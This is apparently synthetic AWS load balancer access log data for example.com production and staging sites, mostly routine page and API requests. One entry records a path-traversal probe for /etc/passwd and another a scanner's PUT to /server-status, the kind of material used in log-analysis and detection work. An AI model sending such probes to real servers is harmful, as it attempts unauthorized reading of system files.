"301" "-" "-" -https 2024-11-01T02:11:01.193094Z prod-web-alb 246.250.103.20:23850 10.0.74.80:443 0.057946 0.406711 0.017299 200 200 623 3703 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d645-d78ee7e5d75f4818a2013277" "prod-web-alb.example.com" "-" 5 2024-11-01T02:11:01.193094Z "forward" "-" "-" "10.0.74.80:443" "200" "-" "-" -https 2024-11-01T02:11:02.792535Z staging-alb 13.203.158.6:47457 56.90.237.155:8080 0.072871 0.638510 0.105551 200 200 918 6290 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d646-72419fc7724545b8b754f96e" "staging-alb.example.com" "-" 6 2024-11-01T02:11:02.792535Z "forward" "-" "-" "56.90.237.155:8080" "200" "-" "-" -https 2024-11-01T02:11:04.158279Z prod-api-alb 140.2.156.19:41888 10.0.34.77:443 0.039882 0.243845 0.039623 200 200 228 1015 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d648-17ca43a6687c4c8eae4faf12" "prod-api-alb.example.com" "-" 7 2024-11-01T02:11:04.158279Z "forward" "-" "-" "10.0.34.77:443" "200" "-" "-" -http 2024-11-01T02:11:05.408989Z staging-alb 234.163.77.191:36839 30.90.17.206:8080 0.075193 0.542088 0.129889 404 404 121 1465 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d649-efed833b28c94dc09f06ff38" "staging-alb.example.com" "-" 7 2024-11-01T02:11:05.408989Z "forward" "-" "-" "30.90.17.206:8080" "404" "-" "-" -https 2024-11-01T02:11:06.140860Z prod-api-alb 23.251.238.96:27842 10.0.115.40:443 0.044751 0.400335 0.058244 404 404 681 6095 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d64a-cd229f500a3f4123aacab774" "prod-api-alb.example.com" "-" 3 2024-11-01T02:11:06.140860Z "forward" "-" "-" "10.0.115.40:443" "404" "-" "-" -https 2024-11-01T02:11:06.432214Z prod-api-alb 187.68.131.139:53850 10.0.242.13:443 0.062202 0.010890 0.067431 200 200 697 5728 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d64a-bfb048ac1a9743fb981ea70e" "prod-api-alb.example.com" "-" 9 2024-11-01T02:11:06.432214Z "forward" "-" "-" "10.0.242.13:443" "200" "-" "-" -http 2024-11-01T02:11:08.157063Z staging-alb 195.127.65.224:53211 204.88.163.152:443 0.023309 0.673362 0.016878 200 200 463 5502 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d64c-e36a5c6494ee47af8abdb07e" "staging-alb.example.com" "-" 8 2024-11-01T02:11:08.157063Z "forward" "-" "-" "204.88.163.152:443" "200" "-" "-" -https 2024-11-01T02:11:09.219475Z prod-web-alb 23.34.181.229:29718 10.0.232.45:443 0.057665 0.068884 0.055641 302 302 630 10866 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d64d-357c2ac9cfb14c2486c2fcf3" "prod-web-alb.example.com" "-" 0 2024-11-01T02:11:09.219475Z "forward" "-" "-" "10.0.232.45:443" "302" "-" "-" -https 2024-11-01T02:11:10.118045Z prod-web-alb 51.89.129.163:23389 10.0.84.80:443 0.032148 0.462537 0.039684 301 301 79 8760 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d64e-b717abef87b9490e91419611" "prod-web-alb.example.com" "-" 2 2024-11-01T02:11:10.118045Z "forward" "-" "-" "10.0.84.80:443" "301" "-" "-" -http 2024-11-01T02:11:10.546379Z staging-alb 73.79.131.146:47663 49.111.192.200:443 0.144991 0.297263 0.147021 200 200 971 4409 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d64e-553855d80da74b8481825fa6" "staging-alb.example.com" "-" 7 2024-11-01T02:11:10.546379Z "forward" "-" "-" "49.111.192.200:443" "200" "-" "-" -https 2024-11-01T02:11:12.150230Z prod-web-alb 135.53.191.222:58394 10.0.231.135:443 0.038292 0.121780 0.075120 200 200 596 14446 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d650-5359783781c6428f8b7cde36" "prod-web-alb.example.com" "-" 1 2024-11-01T02:11:12.150230Z "forward" "-" "-" "10.0.231.135:443" "200" "-" "-" -https 2024-11-01T02:11:12.409559Z prod-api-alb 102.42.9.109:17390 10.0.129.215:443 0.003300 0.422912 0.082848 302 302 398 6736 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d650-5f4d2287a0d54ceb8c424c57" "prod-api-alb.example.com" "-" 2 2024-11-01T02:11:12.409559Z "forward" "-" "-" "10.0.129.215:443" "302" "-" "-" -https 2024-11-01T02:11:13.388925Z prod-web-alb 44.119.159.76:61290 10.0.247.169:443 0.047354 0.283878 0.006949 301 301 351 11535 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d651-a2a832df65fc41f3842c966e" "prod-web-alb.example.com" "-" 10 2024-11-01T02:11:13.388925Z "forward" "-" "-" "10.0.247.169:443" "301" "-" "-" -https 2024-11-01T02:11:13.860714Z staging-alb 18.164.234.88:50268 255.83.101.3:443 0.041426 0.522265 0.130386 301 301 422 8619 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d651-0f607a92e672400a9dd2af50" "staging-alb.example.com" "-" 0 2024-11-01T02:11:13.860714Z "forward" "-" "-" "255.83.101.3:443" "301" "-" "-" -https 2024-11-01T02:11:15.155108Z staging-alb 12.25.14.223:12384 227.88.230.108:443 0.070314 0.515948 0.100118 302 302 354 5563 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d653-bca1bb1e48be44fdad4e155c" "staging-alb.example.com" "-" 7 2024-11-01T02:11:15.155108Z "forward" "-" "-" "227.88.230.108:443" "302" "-" "-" -https 2024-11-01T02:11:17.095356Z prod-api-alb 180.67.248.218:19921 10.0.223.121:443 0.082216 0.217560 0.068991 200 200 555 2179 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d655-f3071464454646d7b344c232" "prod-api-alb.example.com" "-" 7 2024-11-01T02:11:17.095356Z "forward" "-" "-" "10.0.223.121:443" "200" "-" "-" -https 2024-11-01T02:11:17.275834Z prod-web-alb 144.90.252.172:43191 10.0.64.156:443 0.012468 0.154333 0.097727 302 302 869 9588 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d655-616f0d9c080545dfa807352d" "prod-web-alb.example.com" "-" 7 2024-11-01T02:11:17.275834Z "forward" "-" "-" "10.0.64.156:443" "302" "-" "-" -https 2024-11-01T02:11:18.944797Z prod-web-alb 97.227.79.80:39760 10.0.125.57:443 0.049524 0.220127 0.051226 200 200 708 10419 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d656-328dab671b01436e9660fe95" "prod-web-alb.example.com" "-" 8 2024-11-01T02:11:18.944797Z "forward" "-" "-" "10.0.125.57:443" "200" "-" "-" -https 2024-11-01T02:11:20.781283Z staging-alb 89.182.1.25:28731 137.207.162.21:443 0.122647 0.473223 0.063194 200 200 781 13753 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d658-61f4e52277d34511b81391bd" "staging-alb.example.com" "-" 8 2024-11-01T02:11:20.781283Z "forward" "-" "-" "137.207.162.21:443" "200" "-" "-" -http 2024-11-01T02:11:22.182515Z staging-alb 130.93.61.214:58002 44.167.184.31:443 0.082127 0.044279 0.066394 200 200 980 5991 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d65a-4e59957c70454b938818d19e" "staging-alb.example.com" "-" 0 2024-11-01T02:11:22.182515Z "forward" "-" "-" "44.167.184.31:443" "200" "-" "-" -https 2024-11-01T02:11:23.468674Z prod-api-alb 183.198.94.202:33130 10.0.147.127:443 0.049026 0.281006 0.074329 200 200 129 4168 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d65b-56bad44d87554c5ab32d1164" "prod-api-alb.example.com" "-" 2 2024-11-01T02:11:23.468674Z "forward" "-" "-" "10.0.147.127:443" "200" "-" "-" -http 2024-11-01T02:11:23.833819Z staging-alb 39.238.63.107:50471 69.20.41.248:8080 0.092872 0.183706 0.006691 302 302 893 4357 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d65b-36dcec640f974520869068f3" "staging-alb.example.com" "-" 3 2024-11-01T02:11:23.833819Z "forward" "-" "-" "69.20.41.248:8080" "302" "-" "-" -https 2024-11-01T02:11:24.115875Z prod-web-alb 136.158.27.102:49555 10.0.82.32:443 0.023380 0.118328 0.040228 200 200 358 13551 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d65c-50341cf469fa41bda83747b9" "prod-web-alb.example.com" "-" 5 2024-11-01T02:11:24.115875Z "forward" "-" "-" "10.0.82.32:443" "200" "-" "-" -https 2024-11-01T02:11:25.822100Z staging-alb 251.65.45.185:46882 2.161.145.168:443 0.070052 0.213389 0.087734 200 200 540 1087 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d65d-c3f7e91511084b37ae1a48db" "staging-alb.example.com" "-" 0 2024-11-01T02:11:25.822100Z "forward" "-" "-" "2.161.145.168:443" "200" "-" "-" -https 2024-11-01T02:11:27.647459Z prod-web-alb 32.55.192.88:12134 10.0.140.220:443 0.069025 0.025855 0.011294 200 200 76 7893 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d65f-4dca447302cb495b8082e023" "prod-web-alb.example.com" "-" 5 2024-11-01T02:11:27.647459Z "forward" "-" "-" "10.0.140.220:443" "200" "-" "-" -https 2024-11-01T02:11:27.783709Z prod-web-alb 170.75.131.81:36928 10.0.95.176:443 0.091357 0.235732 0.025239 301 301 168 14804 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d65f-8e249c59f0b845768bbcd955" "prod-web-alb.example.com" "-" 7 2024-11-01T02:11:27.783709Z "forward" "-" "-" "10.0.95.176:443" "301" "-" "-" -https 2024-11-01T02:11:29.138559Z prod-api-alb 154.61.209.59:63189 10.0.207.8:443 0.035229 0.208365 0.069399 404 404 627 13678 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d661-c904729da5464719883790d8" "prod-api-alb.example.com" "-" 3 2024-11-01T02:11:29.138559Z "forward" "-" "-" "10.0.207.8:443" "404" "-" "-" -https 2024-11-01T02:11:29.371820Z prod-api-alb 200.88.181.140:48967 10.0.91.169:443 0.041777 0.483309 0.029778 200 200 244 13438 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d661-18875cbc84fb4c46aa792e8c" "prod-api-alb.example.com" "-" 0 2024-11-01T02:11:29.371820Z "forward" "-" "-" "10.0.91.169:443" "200" "-" "-" -https 2024-11-01T02:11:30.100389Z prod-api-alb 67.70.55.7:32967 10.0.221.111:443 0.026381 0.197165 0.076333 404 404 726 748 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d662-aa18934e304b4a27aa988b3f" "prod-api-alb.example.com" "-" 2 2024-11-01T02:11:30.100389Z "forward" "-" "-" "10.0.221.111:443" "404" "-" "-" -https 2024-11-01T02:11:31.012392Z prod-api-alb 65.197.33.64:38911 10.0.161.203:443 0.067518 0.099177 0.018374 200 200 78 11289 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d663-bb92f43e5c014300beac3a4a" "prod-api-alb.example.com" "-" 5 2024-11-01T02:11:31.012392Z "forward" "-" "-" "10.0.161.203:443" "200" "-" "-" -https 2024-11-01T02:11:32.232463Z prod-web-alb 96.186.70.123:29894 10.0.201.241:443 0.035412 0.216515 0.039510 200 200 331 4592 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d664-80f8f9b433d140a087af898a" "prod-web-alb.example.com" "-" 8 2024-11-01T02:11:32.232463Z "forward" "-" "-" "10.0.201.241:443" "200" "-" "-" -http 2024-11-01T02:11:34.072744Z staging-alb 185.181.85.31:31493 187.28.154.231:443 0.138632 0.379053 0.007250 403 403 653 2030 "GET /../../../etc/passwd HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d666-1405a8c2af5c4c58aaeea7da" "-" "-" 7 2024-11-01T02:11:34.072744Z "forward" "-" "-" "187.28.154.231:443" "403" "-" "-" -https 2024-11-01T02:11:34.470471Z prod-api-alb 211.231.208.141:18055 10.0.219.97:443 0.059529 0.176399 0.000974 200 200 291 4889 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d666-70d6750f645a4f049fadee54" "prod-api-alb.example.com" "-" 8 2024-11-01T02:11:34.470471Z "forward" "-" "-" "10.0.219.97:443" "200" "-" "-" -https 2024-11-01T02:11:35.810968Z prod-web-alb 71.176.39.230:15447 10.0.58.210:443 0.022957 0.096288 0.034878 200 200 637 3729 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d667-92f8bf7bf5fd42d9a9da5cc6" "prod-web-alb.example.com" "-" 6 2024-11-01T02:11:35.810968Z "forward" "-" "-" "10.0.58.210:443" "200" "-" "-" -https 2024-11-01T02:11:37.202590Z prod-api-alb 102.110.154.141:53062 10.0.3.134:443 0.019778 0.444275 0.028910 200 200 129 5668 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d669-5f528208cabf49a4b88064db" "prod-api-alb.example.com" "-" 1 2024-11-01T02:11:37.202590Z "forward" "-" "-" "10.0.3.134:443" "200" "-" "-" -https 2024-11-01T02:11:39.142795Z staging-alb 166.60.1.188:48622 112.196.248.126:8080 0.137770 0.336012 0.095326 200 200 558 7411 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d66b-a499ca9e0ea54e129ff45bdd" "staging-alb.example.com" "-" 8 2024-11-01T02:11:39.142795Z "forward" "-" "-" "112.196.248.126:8080" "200" "-" "-" -https 2024-11-01T02:11:40.542872Z prod-api-alb 158.19.78.181:55307 10.0.124.82:443 0.075937 0.223611 0.040741 200 200 297 11793 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d66c-c95f38b640b343f9ac7d7c60" "prod-api-alb.example.com" "-" 0 2024-11-01T02:11:40.542872Z "forward" "-" "-" "10.0.124.82:443" "200" "-" "-" -http 2024-11-01T02:11:42.495323Z staging-alb 6.223.93.191:48531 89.212.184.156:443 0.008718 0.261442 0.033291 404 404 694 1358 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d66e-8774db9f475e4195880e69d2" "staging-alb.example.com" "-" 0 2024-11-01T02:11:42.495323Z "forward" "-" "-" "89.212.184.156:443" "404" "-" "-" -https 2024-11-01T02:11:43.524131Z staging-alb 193.208.118.121:15458 156.68.130.105:443 0.110662 0.350476 0.000727 301 301 715 5136 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d66f-e882d68174ea40f0811e4d18" "staging-alb.example.com" "-" 1 2024-11-01T02:11:43.524131Z "forward" "-" "-" "156.68.130.105:443" "301" "-" "-" -https 2024-11-01T02:11:43.913993Z prod-web-alb 70.204.247.207:37453 10.0.9.195:443 0.055408 0.380519 0.079386 200 200 577 8679 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d66f-8a52501b161b4ff7934c11e9" "prod-web-alb.example.com" "-" 10 2024-11-01T02:11:43.913993Z "forward" "-" "-" "10.0.9.195:443" "200" "-" "-" -https 2024-11-01T02:11:45.392596Z prod-api-alb 91.92.83.150:55299 10.0.150.205:443 0.093040 0.148356 0.007158 404 404 710 12587 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d671-b64bec04cd3f483fa38eb04c" "prod-api-alb.example.com" "-" 3 2024-11-01T02:11:45.392596Z "forward" "-" "-" "10.0.150.205:443" "404" "-" "-" -https 2024-11-01T02:11:46.335365Z prod-web-alb 216.241.120.19:20083 10.0.87.4:443 0.048446 0.392466 0.068616 404 404 442 6923 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d672-0f87c41c598342559cfa1e3d" "prod-web-alb.example.com" "-" 7 2024-11-01T02:11:46.335365Z "forward" "-" "-" "10.0.87.4:443" "404" "-" "-" -https 2024-11-01T02:11:48.149665Z prod-api-alb 140.220.164.67:37316 10.0.113.15:443 0.071132 0.234042 0.068798 200 200 121 11504 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d674-57886232a510430d8cfee74b" "-" "-" 6 2024-11-01T02:11:48.149665Z "forward" "-" "-" "10.0.113.15:443" "200" "-" "-" -https 2024-11-01T02:11:49.686248Z prod-api-alb 106.58.79.26:25222 10.0.224.1:443 0.054701 0.129564 0.097985 301 301 807 6080 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d675-ec77feae4f3541369e36d57f" "prod-api-alb.example.com" "-" 4 2024-11-01T02:11:49.686248Z "forward" "-" "-" "10.0.224.1:443" "301" "-" "-" -https 2024-11-01T02:11:50.420742Z staging-alb 86.226.169.158:35736 123.139.217.24:8080 0.116594 0.698186 0.071964 404 404 70 5303 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d676-49ea3f2b43f54f85b5f8fb45" "staging-alb.example.com" "-" 6 2024-11-01T02:11:50.420742Z "forward" "-" "-" "123.139.217.24:8080" "404" "-" "-" -https 2024-11-01T02:11:50.854991Z prod-api-alb 45.155.205.109:24207 10.0.100.174:443 0.088347 0.412577 0.051294 500 500 374 12183 "PUT /server-status HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d676-a824927f0b46482bbec61290" "-" "-" 1 2024-11-01T02:11:50.854991Z "forward" "-" "-" "10.0.100.174:443" "500" "-" "-" -https 2024-11-01T02:11:52.286646Z prod-api-alb 6.98.114.28:30148 10.0.185.196:443 0.009066 0.399405 0.042242 200 200 200 1856 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d678-aab89dd50a75426ead6f4140" "prod-api-alb.example.com" "-" 3 2024-11-01T02:11:52.286646Z "forward" "-" "-" "10.0.185.196:443" "200" "-" "-" -https 2024-11-01T02:11:53.741083Z prod-web-alb 3.251.177.73:43778 10.0.197.51:443 0.016769 0.465504 0.093105 200 200 245 8751 "GET /cart HTTP/1.1" "Python-urllib/3.8" 